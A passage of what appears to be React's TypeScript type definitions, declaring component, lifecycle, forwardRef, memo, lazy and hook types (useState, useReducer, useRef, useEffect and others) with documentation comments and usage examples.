void): void; render(): ReactNode; readonly props: Readonly<P>; state: Readonly<S>; /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/refs-and-the-dom.html#legacy-api-string-refs Legacy React Docs} */ refs: { [key: string]: ReactInstance; }; } class PureComponent<P = {}, S = {}, SS = any> extends Component<P, S, SS> {} /** * @deprecated Use `ClassicComponent` from `create-react-class` * * @see {@link https://legacy.reactjs.org/docs/react-without-es6.html Legacy React Docs} * @see {@link https://www.npmjs.com/package/create-react-class `create-react-class` on npm} */ interface ClassicComponent<P = {}, S = {}> extends Component<P, S> { replaceState(nextState: S, callback?: () => void): void; isMounted(): boolean; getInitialState?(): S; } interface ChildContextProvider<CC> { getChildContext(): CC; } // // Class Interfaces // ---------------------------------------------------------------------- /** * Represents the type of a function component. Can optionally * receive a type argument that represents the props the component * receives. * * @template P The props the component accepts. * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/function_components React TypeScript Cheatsheet} * @alias for {@link FunctionComponent} * * @example * * ```tsx * // With props: * type Props = { name: string } * * const MyComponent: FC<Props> = (props) => { * return <div>{props.name}</div> * } * ``` * * @example * * ```tsx * // Without props: * const MyComponentWithoutProps: FC = () => { * return <div>MyComponentWithoutProps</div> * } * ``` */ type FC<P = {}> = FunctionComponent<P>; /** * Represents the type of a function component. Can optionally * receive a type argument that represents the props the component * accepts. * * @template P The props the component accepts. * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/function_components React TypeScript Cheatsheet} * * @example * * ```tsx * // With props: * type Props = { name: string } * * const MyComponent: FunctionComponent<Props> = (props) => { * return <div>{props.name}</div> * } * ``` * * @example * * ```tsx * // Without props: * const MyComponentWithoutProps: FunctionComponent = () => { * return <div>MyComponentWithoutProps</div> * } * ``` */ interface FunctionComponent<P = {}> { ( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-lifecycle-methods React Docs} */ deprecatedLegacyContext?: any, ): ReactElement<any, any> | null; /** * Used to declare the types of the props accepted by the * component. These types will be checked during rendering * and in development only. * * We recommend using TypeScript instead of checking prop * types at runtime. * * @see {@link https://react.dev/reference/react/Component#static-proptypes React Docs} */ propTypes?: WeakValidationMap<P> | undefined; /** * @deprecated * * Lets you specify which legacy context is consumed by * this component. * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html Legacy React Docs} */ contextTypes?: ValidationMap<any> | undefined; /** * Used to define default values for the props accepted by * the component. * * @see {@link https://react.dev/reference/react/Component#static-defaultprops React Docs} * * @example * * ```tsx * type Props = { name?: string } * * const MyComponent: FC<Props> = (props) => { * return <div>{props.name}</div> * } * * MyComponent.defaultProps = { * name: 'John Doe' * } * ``` * * @deprecated Use {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#default_value|default values for destructuring assignments instead}. */ defaultProps?: Partial<P> | undefined; /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} * * @example * * ```tsx * * const MyComponent: FC = () => { * return <div>Hello!</div> * } * * MyComponent.displayName = 'MyAwesomeComponent' * ``` */ displayName?: string | undefined; } /** * @deprecated - Equivalent to {@link React.FunctionComponent}. * * @see {@link React.FunctionComponent} * @alias {@link VoidFunctionComponent} */ type VFC<P = {}> = VoidFunctionComponent<P>; /** * @deprecated - Equivalent to {@link React.FunctionComponent}. * * @see {@link React.FunctionComponent} */ interface VoidFunctionComponent<P = {}> { ( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-lifecycle-methods React Docs} */ deprecatedLegacyContext?: any, ): ReactElement<any, any> | null; propTypes?: WeakValidationMap<P> | undefined; contextTypes?: ValidationMap<any> | undefined; /** * @deprecated Use {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#default_value|default values for destructuring assignments instead}. */ defaultProps?: Partial<P> | undefined; displayName?: string | undefined; } /** * The type of the ref received by a {@link ForwardRefRenderFunction}. * * @see {@link ForwardRefRenderFunction} */ type ForwardedRef<T> = ((instance: T | null) => void) | MutableRefObject<T | null> | null; /** * The type of the function passed to {@link forwardRef}. This is considered different * to a normal {@link FunctionComponent} because it receives an additional argument, * * @param props Props passed to the component, if any. * @param ref A ref forwarded to the component of type {@link ForwardedRef}. * * @template T The type of the forwarded ref. * @template P The type of the props the component accepts. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/forward_and_create_ref/ React TypeScript Cheatsheet} * @see {@link forwardRef} */ interface ForwardRefRenderFunction<T, P = {}> { (props: P, ref: ForwardedRef<T>): ReactElement | null; /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * Will show `ForwardRef(${Component.displayName || Component.name})` * in devtools by default, but can be given its own specific name. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} */ displayName?: string | undefined; /** * defaultProps are not supported on render functions passed to forwardRef. * * @see {@link https://github.com/microsoft/TypeScript/issues/36826 linked GitHub issue} for context * @see {@link https://react.dev/reference/react/Component#static-defaultprops React Docs} */ defaultProps?: never | undefined; /** * propTypes are not supported on render functions passed to forwardRef. * * @see {@link https://github.com/microsoft/TypeScript/issues/36826 linked GitHub issue} for context * @see {@link https://react.dev/reference/react/Component#static-proptypes React Docs} */ propTypes?: never | undefined; } /** * Represents a component class in React. * * @template P The props the component accepts. * @template S The internal state of the component. */ interface ComponentClass<P = {}, S = ComponentState> extends StaticLifecycle<P, S> { new( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-lifecycle-methods React Docs} */ deprecatedLegacyContext?: any, ): Component<P, S>; /** * Used to declare the types of the props accepted by the * component. These types will be checked during rendering * and in development only. * * We recommend using TypeScript instead of checking prop * types at runtime. * * @see {@link https://react.dev/reference/react/Component#static-proptypes React Docs} */ propTypes?: WeakValidationMap<P> | undefined; contextType?: Context<any> | undefined; /** * @deprecated use {@link ComponentClass.contextType} instead * * Lets you specify which legacy context is consumed by * this component. * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html Legacy React Docs} */ contextTypes?: ValidationMap<any> | undefined; /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#how-to-use-context Legacy React Docs} */ childContextTypes?: ValidationMap<any> | undefined; /** * Used to define default values for the props accepted by * the component. * * @see {@link https://react.dev/reference/react/Component#static-defaultprops React Docs} */ defaultProps?: Partial<P> | undefined; /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} */ displayName?: string | undefined; } /** * @deprecated Use `ClassicComponentClass` from `create-react-class` * * @see {@link https://legacy.reactjs.org/docs/react-without-es6.html Legacy React Docs} * @see {@link https://www.npmjs.com/package/create-react-class `create-react-class` on npm} */ interface ClassicComponentClass<P = {}> extends ComponentClass<P> { new(props: P, deprecatedLegacyContext?: any): ClassicComponent<P, ComponentState>; getDefaultProps?(): P; } /** * Used in {@link createElement} and {@link createFactory} to represent * a class. * * An intersection type is used to infer multiple type parameters from * a single argument, which is useful for many top-level API defs. * See {@link https://github.com/Microsoft/TypeScript/issues/7234 this GitHub issue} * for more info. */ type ClassType<P, T extends Component<P, ComponentState>, C extends ComponentClass<P>> = & C & (new(props: P, deprecatedLegacyContext?: any) => T); // // Component Specs and Lifecycle // ---------------------------------------------------------------------- // This should actually be something like `Lifecycle<P, S> | DeprecatedLifecycle<P, S>`, // as React will _not_ call the deprecated lifecycle methods if any of the new lifecycle // methods are present. interface ComponentLifecycle<P, S, SS = any> extends NewLifecycle<P, S, SS>, DeprecatedLifecycle<P, S> { /** * Called immediately after a component is mounted. Setting state here will trigger re-rendering. */ componentDidMount?(): void; /** * Called to determine whether the change in props and state should trigger a re-render. * * `Component` always returns true. * `PureComponent` implements a shallow comparison on props and state and returns true if any * props or states have changed. * * If false is returned, {@link Component.render}, `componentWillUpdate` * and `componentDidUpdate` will not be called. */ shouldComponentUpdate?(nextProps: Readonly<P>, nextState: Readonly<S>, nextContext: any): boolean; /** * Called immediately before a component is destroyed. Perform any necessary cleanup in this method, such as * cancelled network requests, or cleaning up any DOM elements created in `componentDidMount`. */ componentWillUnmount?(): void; /** * Catches exceptions generated in descendant components. Unhandled exceptions will cause * the entire component tree to unmount. */ componentDidCatch?(error: Error, errorInfo: ErrorInfo): void; } // Unfortunately, we have no way of declaring that the component constructor must implement this interface StaticLifecycle<P, S> { getDerivedStateFromProps?: GetDerivedStateFromProps<P, S> | undefined; getDerivedStateFromError?: GetDerivedStateFromError<P, S> | undefined; } type GetDerivedStateFromProps<P, S> = /** * Returns an update to a component's state based on its new props and old state. * * Note: its presence prevents any of the deprecated lifecycle methods from being invoked */ (nextProps: Readonly<P>, prevState: S) => Partial<S> | null; type GetDerivedStateFromError<P, S> = /** * This lifecycle is invoked after an error has been thrown by a descendant component. * It receives the error that was thrown as a parameter and should return a value to update state. * * Note: its presence prevents any of the deprecated lifecycle methods from being invoked */ (error: any) => Partial<S> | null; // This should be "infer SS" but can't use it yet interface NewLifecycle<P, S, SS> { /** * Runs before React applies the result of {@link Component.render render} to the document, and * returns an object to be given to {@link componentDidUpdate}. Useful for saving * things such as scroll position before {@link Component.render render} causes changes to it. * * Note: the presence of this method prevents any of the deprecated * lifecycle events from running. */ getSnapshotBeforeUpdate?(prevProps: Readonly<P>, prevState: Readonly<S>): SS | null; /** * Called immediately after updating occurs. Not called for the initial render. * * The snapshot is only present if {@link getSnapshotBeforeUpdate} is present and returns non-null. */ componentDidUpdate?(prevProps: Readonly<P>, prevState: Readonly<S>, snapshot?: SS): void; } interface DeprecatedLifecycle<P, S> { /** * Called immediately before mounting occurs, and before {@link Component.render}. * Avoid introducing any side-effects or subscriptions in this method. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use {@link ComponentLifecycle.componentDidMount componentDidMount} or the constructor instead; will stop working in React 17 * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#initializing-state} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ componentWillMount?(): void; /** * Called immediately before mounting occurs, and before {@link Component.render}. * Avoid introducing any side-effects or subscriptions in this method. * * This method will not stop working in React 17. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use {@link ComponentLifecycle.componentDidMount componentDidMount} or the constructor instead * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#initializing-state} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ UNSAFE_componentWillMount?(): void; /** * Called when the component may be receiving new props. * React may call this even if props have not changed, so be sure to compare new and existing * props if you only want to handle changes. * * Calling {@link Component.setState} generally does not trigger this method. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use static {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} instead; will stop working in React 17 * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#updating-state-based-on-props} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ componentWillReceiveProps?(nextProps: Readonly<P>, nextContext: any): void; /** * Called when the component may be receiving new props. * React may call this even if props have not changed, so be sure to compare new and existing * props if you only want to handle changes. * * Calling {@link Component.setState} generally does not trigger this method. * * This method will not stop working in React 17. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use static {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} instead * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#updating-state-based-on-props} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ UNSAFE_componentWillReceiveProps?(nextProps: Readonly<P>, nextContext: any): void; /** * Called immediately before rendering when new props or state is received. Not called for the initial render. * * Note: You cannot call {@link Component.setState} here. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use getSnapshotBeforeUpdate instead; will stop working in React 17 * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#reading-dom-properties-before-an-update} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ componentWillUpdate?(nextProps: Readonly<P>, nextState: Readonly<S>, nextContext: any): void; /** * Called immediately before rendering when new props or state is received. Not called for the initial render. * * Note: You cannot call {@link Component.setState} here. * * This method will not stop working in React 17. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use getSnapshotBeforeUpdate instead * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#reading-dom-properties-before-an-update} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ UNSAFE_componentWillUpdate?(nextProps: Readonly<P>, nextState: Readonly<S>, nextContext: any): void; } /** * @deprecated * * @see {@link https://legacy.reactjs.org/blog/2016/07/13/mixins-considered-harmful.html Mixins Considered Harmful} */ interface Mixin<P, S> extends ComponentLifecycle<P, S> { mixins?: Array<Mixin<P, S>> | undefined; statics?: { [key: string]: any; } | undefined; displayName?: string | undefined; propTypes?: ValidationMap<any> | undefined; contextTypes?: ValidationMap<any> | undefined; childContextTypes?: ValidationMap<any> | undefined; getDefaultProps?(): P; getInitialState?(): S; } /** * @deprecated * * @see {@link https://legacy.reactjs.org/blog/2016/07/13/mixins-considered-harmful.html Mixins Considered Harmful} */ interface ComponentSpec<P, S> extends Mixin<P, S> { render(): ReactNode; [propertyName: string]: any; } function createRef<T>(): RefObject<T>; /** * The type of the component returned from {@link forwardRef}. * * @template P The props the component accepts, if any. * * @see {@link ExoticComponent} */ interface ForwardRefExoticComponent<P> extends NamedExoticComponent<P> { /** * @deprecated Use {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#default_value|default values for destructuring assignments instead}. */ defaultProps?: Partial<P> | undefined; propTypes?: WeakValidationMap<P> | undefined; } /** * Lets your component expose a DOM node to a parent component * using a ref. * * @see {@link https://react.dev/reference/react/forwardRef React Docs} * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/forward_and_create_ref/ React TypeScript Cheatsheet} * * @param render See the {@link ForwardRefRenderFunction}. * * @template T The type of the DOM node. * @template P The props the component accepts, if any. * * @example * * ```tsx * interface Props { * children?: ReactNode; * type: "submit" | "button"; * } * * export const FancyButton = forwardRef<HTMLButtonElement, Props>((props, ref) => ( * <button ref={ref} className="MyClassName" type={props.type}> * {props.children} * </button> * )); * ``` */ function forwardRef<T, P = {}>( render: ForwardRefRenderFunction<T, P>, ): ForwardRefExoticComponent<PropsWithoutRef<P> & RefAttributes<T>>; /** * Omits the 'ref' attribute from the given props object. * * @template P The props object type. */ type PropsWithoutRef<P> = // Omit would not be sufficient for this. We'd like to avoid unnecessary mapping and need a distributive conditional to support unions. // see: https://www.typescriptlang.org/docs/handbook/2/conditional-types.html#distributive-conditional-types // https://github.com/Microsoft/TypeScript/issues/28339 P extends any ? ("ref" extends keyof P ? Omit<P, "ref"> : P) : P; /** Ensures that the props do not include string ref, which cannot be forwarded */ type PropsWithRef<P> = // Note: String refs can be forwarded. We can't fix this bug without breaking a bunch of libraries now though. // Just "P extends { ref?: infer R }" looks sufficient, but R will infer as {} if P is {}. "ref" extends keyof P ? P extends { ref?: infer R | undefined } ? string extends R ? PropsWithoutRef<P> & { ref?: Exclude<R, string> | undefined } : P : P : P; type PropsWithChildren<P = unknown> = P & { children?: ReactNode | undefined }; /** * Used to retrieve the props a component accepts. Can either be passed a string, * indicating a DOM element (e.g. 'div', 'span', etc.) or the type of a React * component. * * It's usually better to use {@link ComponentPropsWithRef} or {@link ComponentPropsWithoutRef} * instead of this type, as they let you be explicit about whether or not to include * the `ref` prop. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/react-types/componentprops/ React TypeScript Cheatsheet} * * @example * * ```tsx * // Retrieves the props an 'input' element accepts * type InputProps = React.ComponentProps<'input'>; * ``` * * @example * * ```tsx * const MyComponent = (props: { foo: number, bar: string }) => <div />; * * // Retrieves the props 'MyComponent' accepts * type MyComponentProps = React.ComponentProps<typeof MyComponent>; * ``` */ type ComponentProps<T extends keyof JSX.IntrinsicElements | JSXElementConstructor<any>> = T extends JSXElementConstructor<infer P> ? P : T extends keyof JSX.IntrinsicElements ? JSX.IntrinsicElements[T] : {}; /** * Used to retrieve the props a component accepts with its ref. Can either be * passed a string, indicating a DOM element (e.g. 'div', 'span', etc.) or the * type of a React component. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/react-types/componentprops/ React TypeScript Cheatsheet} * * @example * * ```tsx * // Retrieves the props an 'input' element accepts * type InputProps = React.ComponentPropsWithRef<'input'>; * ``` * * @example * * ```tsx * const MyComponent = (props: { foo: number, bar: string }) => <div />; * * // Retrieves the props 'MyComponent' accepts * type MyComponentPropsWithRef = React.ComponentPropsWithRef<typeof MyComponent>; * ``` */ type ComponentPropsWithRef<T extends ElementType> = T extends (new(props: infer P) => Component<any, any>) ? PropsWithoutRef<P> & RefAttributes<InstanceType<T>> : PropsWithRef<ComponentProps<T>>; /** * Used to retrieve the props a custom component accepts with its ref. * * Unlike {@link ComponentPropsWithRef}, this only works with custom * components, i.e. components you define yourself. This is to improve * type-checking performance. * * @example * * ```tsx * const MyComponent = (props: { foo: number, bar: string }) => <div />; * * // Retrieves the props 'MyComponent' accepts * type MyComponentPropsWithRef = React.CustomComponentPropsWithRef<typeof MyComponent>; * ``` */ type CustomComponentPropsWithRef<T extends ComponentType> = T extends (new(props: infer P) => Component<any, any>) ? (PropsWithoutRef<P> & RefAttributes<InstanceType<T>>) : T extends ((props: infer P, legacyContext?: any) => ReactNode) ? PropsWithRef<P> : never; /** * Used to retrieve the props a component accepts without its ref. Can either be * passed a string, indicating a DOM element (e.g. 'div', 'span', etc.) or the * type of a React component. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/react-types/componentprops/ React TypeScript Cheatsheet} * * @example * * ```tsx * // Retrieves the props an 'input' element accepts * type InputProps = React.ComponentPropsWithoutRef<'input'>; * ``` * * @example * * ```tsx * const MyComponent = (props: { foo: number, bar: string }) => <div />; * * // Retrieves the props 'MyComponent' accepts * type MyComponentPropsWithoutRef = React.ComponentPropsWithoutRef<typeof MyComponent>; * ``` */ type ComponentPropsWithoutRef<T extends ElementType> = PropsWithoutRef<ComponentProps<T>>; type ComponentRef<T extends ElementType> = T extends NamedExoticComponent< ComponentPropsWithoutRef<T> & RefAttributes<infer Method> > ? Method : ComponentPropsWithRef<T> extends RefAttributes<infer Method> ? Method : never; // will show `Memo(${Component.displayName || Component.name})` in devtools by default, // but can be given its own specific name type MemoExoticComponent<T extends ComponentType<any>> = NamedExoticComponent<CustomComponentPropsWithRef<T>> & { readonly type: T; }; /** * Lets you skip re-rendering a component when its props are unchanged. * * @see {@link https://react.dev/reference/react/memo React Docs} * * @param Component The component to memoize. * @param propsAreEqual A function that will be used to determine if the props have changed. * * @example * * ```tsx * import { memo } from 'react'; * * const SomeComponent = memo(function SomeComponent(props: { foo: string }) { * // ... * }); * ``` */ function memo<P extends object>( Component: FunctionComponent<P>, propsAreEqual?: (prevProps: Readonly<P>, nextProps: Readonly<P>) => boolean, ): NamedExoticComponent<P>; function memo<T extends ComponentType<any>>( Component: T, propsAreEqual?: (prevProps: Readonly<ComponentProps<T>>, nextProps: Readonly<ComponentProps<T>>) => boolean, ): MemoExoticComponent<T>; interface LazyExoticComponent<T extends ComponentType<any>> extends ExoticComponent<CustomComponentPropsWithRef<T>> { readonly _result: T; } /** * Lets you defer loading a component’s code until it is rendered for the first time. * * @see {@link https://react.dev/reference/react/lazy React Docs} * * @param load A function that returns a `Promise` or another thenable (a `Promise`-like object with a * then method). React will not call `load` until the first time you attempt to render the returned * component. After React first calls load, it will wait for it to resolve, and then render the * resolved value’s `.default` as a React component. Both the returned `Promise` and the `Promise`’s * resolved value will be cached, so React will not call load more than once. If the `Promise` rejects, * React will throw the rejection reason for the nearest Error Boundary to handle. * * @example * * ```tsx * import { lazy } from 'react'; * * const MarkdownPreview = lazy(() => import('./MarkdownPreview.js')); * ``` */ function lazy<T extends ComponentType<any>>( load: () => Promise<{ default: T }>, ): LazyExoticComponent<T>; // // React Hooks // ---------------------------------------------------------------------- /** * The instruction passed to a {@link Dispatch} function in {@link useState} * to tell React what the next value of the {@link useState} should be. * * Often found wrapped in {@link Dispatch}. * * @template S The type of the state. * * @example * * ```tsx * // This return type correctly represents the type of * // `setCount` in the example below. * const useCustomState = (): Dispatch<SetStateAction<number>> => { * const [count, setCount] = useState(0); * * return setCount; * } * ``` */ type SetStateAction<S> = S | ((prevState: S) => S); /** * A function that can be used to update the state of a {@link useState} * or {@link useReducer} hook. */ type Dispatch<A> = (value: A) => void; /** * A {@link Dispatch} function can sometimes be called without any arguments. */ type DispatchWithoutAction = () => void; // Unlike redux, the actions _can_ be anything type Reducer<S, A> = (prevState: S, action: A) => S; // If useReducer accepts a reducer without action, dispatch may be called without any parameters. type ReducerWithoutAction<S> = (prevState: S) => S; // types used to try and prevent the compiler from reducing S // to a supertype common with the second argument to useReducer() type ReducerState<R extends Reducer<any, any>> = R extends Reducer<infer S, any> ? S : never; type ReducerAction<R extends Reducer<any, any>> = R extends Reducer<any, infer A> ? A : never; // The identity check is done with the SameValue algorithm (Object.is), which is stricter than === type ReducerStateWithoutAction<R extends ReducerWithoutAction<any>> = R extends ReducerWithoutAction<infer S> ? S : never; type DependencyList = readonly unknown[]; // NOTE: callbacks are _only_ allowed to return either void, or a destructor. type EffectCallback = () => void | Destructor; interface MutableRefObject<T> { current: T; } // This will technically work if you give a Consumer<T> or Provider<T> but it's deprecated and warns /** * Accepts a context object (the value returned from `React.createContext`) and returns the current * context value, as given by the nearest context provider for the given context. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useContext} */ function useContext<T>(context: Context<T> /*, (not public API) observedBits?: number|boolean */): T; /** * Returns a stateful value, and a function to update it. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useState} */ function useState<S>(initialState: S | (() => S)): [S, Dispatch<SetStateAction<S>>]; // convenience overload when first argument is omitted /** * Returns a stateful value, and a function to update it. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useState} */ function useState<S = undefined>(): [S | undefined, Dispatch<SetStateAction<S | undefined>>]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // overload where dispatch could accept 0 arguments. function useReducer<R extends ReducerWithoutAction<any>, I>( reducer: R, initializerArg: I, initializer: (arg: I) => ReducerStateWithoutAction<R>, ): [ReducerStateWithoutAction<R>, DispatchWithoutAction]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // overload where dispatch could accept 0 arguments. function useReducer<R extends ReducerWithoutAction<any>>( reducer: R, initializerArg: ReducerStateWithoutAction<R>, initializer?: undefined, ): [ReducerStateWithoutAction<R>, DispatchWithoutAction]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // overload where "I" may be a subset of ReducerState<R>; used to provide autocompletion. // If "I" matches ReducerState<R> exactly then the last overload will allow initializer to be omitted. // the last overload effectively behaves as if the identity function (x => x) is the initializer. function useReducer<R extends Reducer<any, any>, I>( reducer: R, initializerArg: I & ReducerState<R>, initializer: (arg: I & ReducerState<R>) => ReducerState<R>, ): [ReducerState<R>, Dispatch<ReducerAction<R>>]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // overload for free "I"; all goes as long as initializer converts it into "ReducerState<R>". function useReducer<R extends Reducer<any, any>, I>( reducer: R, initializerArg: I, initializer: (arg: I) => ReducerState<R>, ): [ReducerState<R>, Dispatch<ReducerAction<R>>]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // I'm not sure if I keep this 2-ary or if I make it (2,3)-ary; it's currently (2,3)-ary. // The Flow types do have an overload for 3-ary invocation with undefined initializer. // NOTE: without the ReducerState indirection, TypeScript would reduce S to be the most common // supertype between the reducer's return type and the initialState (or the initializer's return type), // which would prevent autocompletion from ever working. // TODO: double-check if this weird overload logic is necessary. It is possible it's either a bug // in older versions, or a regression in newer versions of the typescript completion service. function useReducer<R extends Reducer<any, any>>( reducer: R, initialState: ReducerState<R>, initializer?: undefined, ): [ReducerState<R>, Dispatch<ReducerAction<R>>]; /** * `useRef` returns a mutable ref object whose `.current` property is initialized to the passed argument * (`initialValue`). The returned object will persist for the full lifetime of the component. * * Note that `useRef()` is useful for more than the `ref` attribute. It’s handy for keeping any mutable * value around similar to how you’d use instance fields in classes. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useRef} */ function useRef<T>(initialValue: T): MutableRefObject<T>; // convenience overload for refs given as a ref prop as they typically start with a null value /** * `useRef` returns a mutable ref object whose `.current` property is initialized to the passed argument * (`initialValue`). The returned object will persist for the full lifetime of the component. * * Note that `useRef()` is useful for more than the `ref` attribute. It’s handy for keeping any mutable * value around similar to how you’d use instance fields in classes. * * Usage note: if you need the result of useRef to be directly mutable, include `| null` in the type * of the generic argument. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useRef} */ function useRef<T>(initialValue: T | null): RefObject<T>; // convenience overload for potentially undefined initialValue / call with 0 arguments // has a default to stop it from defaulting to {} instead /** * `useRef` returns a mutable ref object whose `.current` property is initialized to the passed argument * (`initialValue`). The returned object will persist for the full lifetime of the component. * * Note that `useRef()` is useful for more than the `ref` attribute. It’s handy for keeping any mutable * value around similar to how you’d use instance fields in classes. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useRef} */ function useRef<T = undefined>(): MutableRefObject<T | undefined>; /** * The signature is identical to `useEffect`, but it fires synchronously after all DOM mutations. * Use this to read layout from the DOM and synchronously re-render. Updates scheduled inside * `useLayoutEffect` will be flushed synchronously, before the browser has a chance to paint. * * Prefer the standard `useEffect` when possible to avoid blocking visual updates. * * If you’re migrating code from a class component, `useLayoutEffect` fires in the same phase as * `componentDidMount` and `componentDidUpdate`. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useLayoutEffect} */ function useLayoutEffect(effect: EffectCallback, deps?: DependencyList): void; /** * Accepts a function that contains imperative, possibly effectful code. * * @param effect Imperative function that can return a cleanup function * @param deps If present, effect will only activate if the values in the list change. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useEffect} */ function useEffect(effect: EffectCallback, deps?: DependencyList): void; // NOTE: this does not accept strings, but this will have to be fixed by removing strings from type Ref<T> /** * `useImperativeHandle` customizes the instance value that is exposed to parent components when using * `ref`. As always, imperative code using refs should be avoided in most cases. * * `useImperativeHandle` should be used with `React.forwardRef`. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useImperativeHandle} */ function useImperativeHandle<T, R extends T>(ref: Ref<T> | undefined, init: () => R, deps?: DependencyList): void; // I made 'inputs' required here and in useMemo as there's no point to memoizing without the memoization key // useCallback(X) is identical to just using X, useMemo(() => Y) is identical to just using Y. /** * `useCallback` will return a memoized version of the callback that only changes if one of the `inputs` * has changed. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useCallback} */ // A specific function type would not trigger implicit any. // See https://github.com/DefinitelyTyped/DefinitelyTyped/issues/52873#issuecomment-845806435 for a comparison between `Function` and more specific types. // eslint-disable-next-line @typescript-eslint/ban-types function useCallback<T extends Function>(callback: T, deps: DependencyList): T; /** * `useMemo` will only recompute the memoized value when one of the `deps` has changed. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useMemo} */ // allow undefined, but don't make it optional as that is very likely a mistake function useMemo<T>(factory: () => T, deps: DependencyList): T; /** * `useDebugValue` can be used to display a label for custom hooks in React DevTools. * * NOTE: We don’t recommend adding debug values to every custom hook. * It’s most 